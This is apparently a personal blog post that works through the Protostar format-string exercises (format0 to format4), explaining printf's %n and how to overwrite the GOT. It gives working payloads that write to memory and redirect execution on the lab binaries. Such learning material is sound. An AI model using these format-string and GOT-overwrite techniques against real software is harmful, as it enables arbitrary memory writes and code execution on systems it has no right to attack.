Jonatan Haltorp Blog

Protostar Exploit Exercises: Formatting challenges

Coming from the stack-overflow challenges, I was feeling happy about being able to work my way into the format challenges, but my happiness was short-lived; I do not understand how the format-exploits really work.

To aid my ignorance, and with dreams of exploiting binaries; I set out on a quest of format exploitation, with the help of this wonderful paper and the Protostar virtual machine by my side.



This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.


  • This level should be done in less than 10 bytes of input.

  • “Exploiting format string vulnerabilities”

As always with these challenges, some code is supplied.

void vuln(char *string)
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");

target is allocated at 0xbffff73c, buffer is located at a lower address, which means that as buffer is filled with characters, it could overflow into target. The restriction stated in the challenge description limits our input to the program to less than 10 bytes - So no more standard buffer overflows for us :(

8 = 68

sprintf reads parameters of the stack, based on the format-string it’s given. For example, a format-string of %s expects that there’s a address of a string, to print into the destination buffer.

%64d makes sprintf align the output to 64 characters.

By extension, my solution is a buffer overflow.

$ ./format0 `python -c "print('%64d\xef\xbe\xad\xde')`
you have hit the target correctly :)



This level shows how format strings can be used to modify arbitrary memory locations.


objdump -t is your friend, and your input string lies far up the stack :)

If you’re not familiar with format-string exploits, then yep; You read that right. Format-string exploits can be used to modify arbitrary memory locations.

Take the %n formatter for example, the manual describes it as follows:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted

If you’re bewildered by what the manual told you, the following piece of pseudo-c illustrates it’s functionality.

int x;
char y[32];
sprintf(y, "123456789%n", &x);
printf("%d", x); // prints 9

Hopefully that makes it clear what the %n formatters functionality is, let’s continue with the actual challenge.

int target;

void vuln(char *string)
  if(target) {
      printf("you have modified the target :)\n");

Crashing the process.

Using the previously mentioned formatter %n, it’s simple enough to crash the application. By providing the string %08x%08x%n, we write the value 16 into some dereferenced pointer on the stack.

$ ./format1 %08x%08x%n
Segmentation fault

Changing target

To change target, we need to find out where it’s located.

$ objdump -t format1 | grep target
 g	0 .bss	00000004		target

At this point I put a break-point just before the call to printf in the vuln-function & examined the stack-pointer. The string variable is located at 0xbffff979 and esp is pointing towards 0xbffff750.

The %n formatter writes the amount of bytes written so far, to a dereferenced pointer located on the stack; And for each formatter we use, the formatting function expects another value to be stored on the stack.

Formatting stuff part one

Replacing the first %08x, the stack is examined 4 bytes at a time, it’s values are formatted into the string.

Formatting stuff part two

The following %08x loads the next 4 bytes on the stack into the into the string.

And so on.

If we give a large amount of formatting-strings, we can advance the formatting pointer so far that it ends up pointing at our string variable. If we line things up perfectly, the formatting function will reach our %n when it’s value on the formatters pointer points to target.

And that’s how I understand it, theoretically we can modify the target variable using this technique.

The distance we need to pop before the formatters stack-pointer is pointing towards string turns out to be 550 bytes.

550 is based on my observation that the offset in-between the stack-pointer (before the call to printf) and the address to string was 550 bytes.

while (patience != 0) { print(“BZZZ!!! WRONG!!”) }

I had banged my head against the wall a fair bit before doing so.

I got stuck and looked up a solution for this level. I was around 10 bytes off & couldn’t figure out why I was failing before I gave up.

My last command before submitting to fatigue:

(gdb) start `python -c "print('\x38\x96\x04\x08___'+'%08x_'*142+'%n')"`

Which is still not really a solution so much as a ineffective way of doing things; Instead of carpet-bombing argv with '%08x'*142, %142$n would’ve worked equally bad - but somewhat more elegantly.

Either way, here’s the solution:

$ ./format1 `python -c 'print "\x38\x96\x04\x08___%130\$n"'`
8___you have modified the target :)

Those of you playing along at home, those three underscores are simply used for alignment.

So there you have it; challenge is solved & I’m somewhat wiser as to how these format exploits work. This challenge beat me up pretty bad, but I learned some useful and hopefully I’ll be able to solve the format2.




This level moves on from format1 and shows how specific values can be written in memory.

You guessed it, here’s some code that’s provided along with the description.

void vuln()
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);

Last challenge, we modified target to some value… This time we need to be more specific.

Spontaneously I felt like this challenge was going to have a less steep learning curve, We already got around to changing target, how hard could it be to change it to something specific?

Upon inspection, the formatting-strings pointer can be found via the eax-register or on top of the stack before the call to printf.

lea eax, [ebp-0x208]
mov DWORD PTR [esp], eax
call printf

I looked at the difference between eax and esp before the call to printf and took note of the difference. The difference was 0x10.

This felt weird, but I gave no fucks about my intuitions & trusted that the computer had honest intentions in placing these pointers so close to each-other.

We need to modify the target to 64. Once again we will use %n to achieve our goal. Much like before we lead our payload with the address of the variable we want to modify.

Formatting data sometimes requires padding, that’s why the formatting functions allow for specifying padding via %nF (where n=padding amount & F=formatting).

We can use this to increase the value written via %n (which - as you might remember, writes the amount of bytes written so far into a dereferenced pointer)


$ python -c 'print "\xe4\x96\x04\x08___%57d%4$n"' | ./format2
___                                                         512
you have modified the target :)


Pictured: Author exploiting a format-vulnerability in a binary



This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory.

int target;

void printbuffer(char *string)

void vuln()
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);

targets location in memory stretches from 0x80496f4, all the way to 0x80496f7.

We need to overwrite the least significant bits first, since each %n formatter will write 4 bytes to a given pointer. The paper Exploiting Format String Vulnerabilities (section 3.4.2) explains the reason better than I could.

I was able to craft a payload, which basically has three parts

  • Write 68/0x44 to 0x080496f4

  • Write 85/0x55 to 0x080496f5

  • Write 258/0x102 to 0x080496f6

$ python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08' + '%56d%12\$n' + '%17d%13\$n' + '%173d%14\$n'" > /tmp/f3input
$ ./format3 < /tmp/f3input
you have modified the target :)

The addresses listed in the steps above are located at the beginning of the format string, and are accessed via 12$n, 13$n & 14$n respectively.

By the time that the first formatter is handled by printf, 12 bytes has already been written, to reach 0x44, a padding of 56 is used.

Next up, another 17 bytes are padded to reach 85. And finally, we throw some more padding in there and write the final word of memory to target; as we rejoice & cheer that we’re getting the hang of format-exploits.




%p format4 looks at one method of redirecting execution in a process.


  • objdump -TR is your friend

In ELF-executables, there’s this table of externally located functions called Global offset table (GOT) which is useful for using shared libraries.

A call to a external function goes through GOT, and it’s address is resolved at run-time.

The exact location we need to modify (exits listing in GOT), can be viewed by running objdump -TR as stated in the hint.

$ objdump -TR /opt/protostar/bin/format4
08049724 R_386_JUMP_SLOT   exit

And the relevant address we want to overwrite via the our exploit is also fetched via objdump.

$ objdump -t /opt/protostar/bin/format4 | grep hello
080484b4 g     F .text	0000001e              hello

Putting two and two together, I whipped up a quick python-script which generates a payload.

PAYLOAD='\x24\x97\x04\x08' +\
	'\x25\x97\x04\x08' +\
	'\x26\x97\x04\x08' +\
	'\x27\x97\x04\x08' +\
	'%%%su' % str(0xb4-16) + '%4$n' +\
	'%%%su' % str(0x184-0xb4) + '%5$n' +\
	'%%%su' % str(0x204-0x184) + '%6$n' +\
	'____' + '%7$n'

And, of-course - running the executable with our payload, overwrites the GOT-entry for exit and execution is instead passed into the hello function.

$ python > ./f4in
$ /opt/protostar/bin/format4 < ./f4in
                                                                                                                                                                 512                                                                                                                                                                                                      3086844960                                                                                                                      3221224244____
code execution redirected! you win


Now, coming to an end of this post - I think my understanding of format-exploits are greatly improved. And it’s a neat form of exploitation, Now I’m heading into the heap-challenges.

Thanks for bearing with me.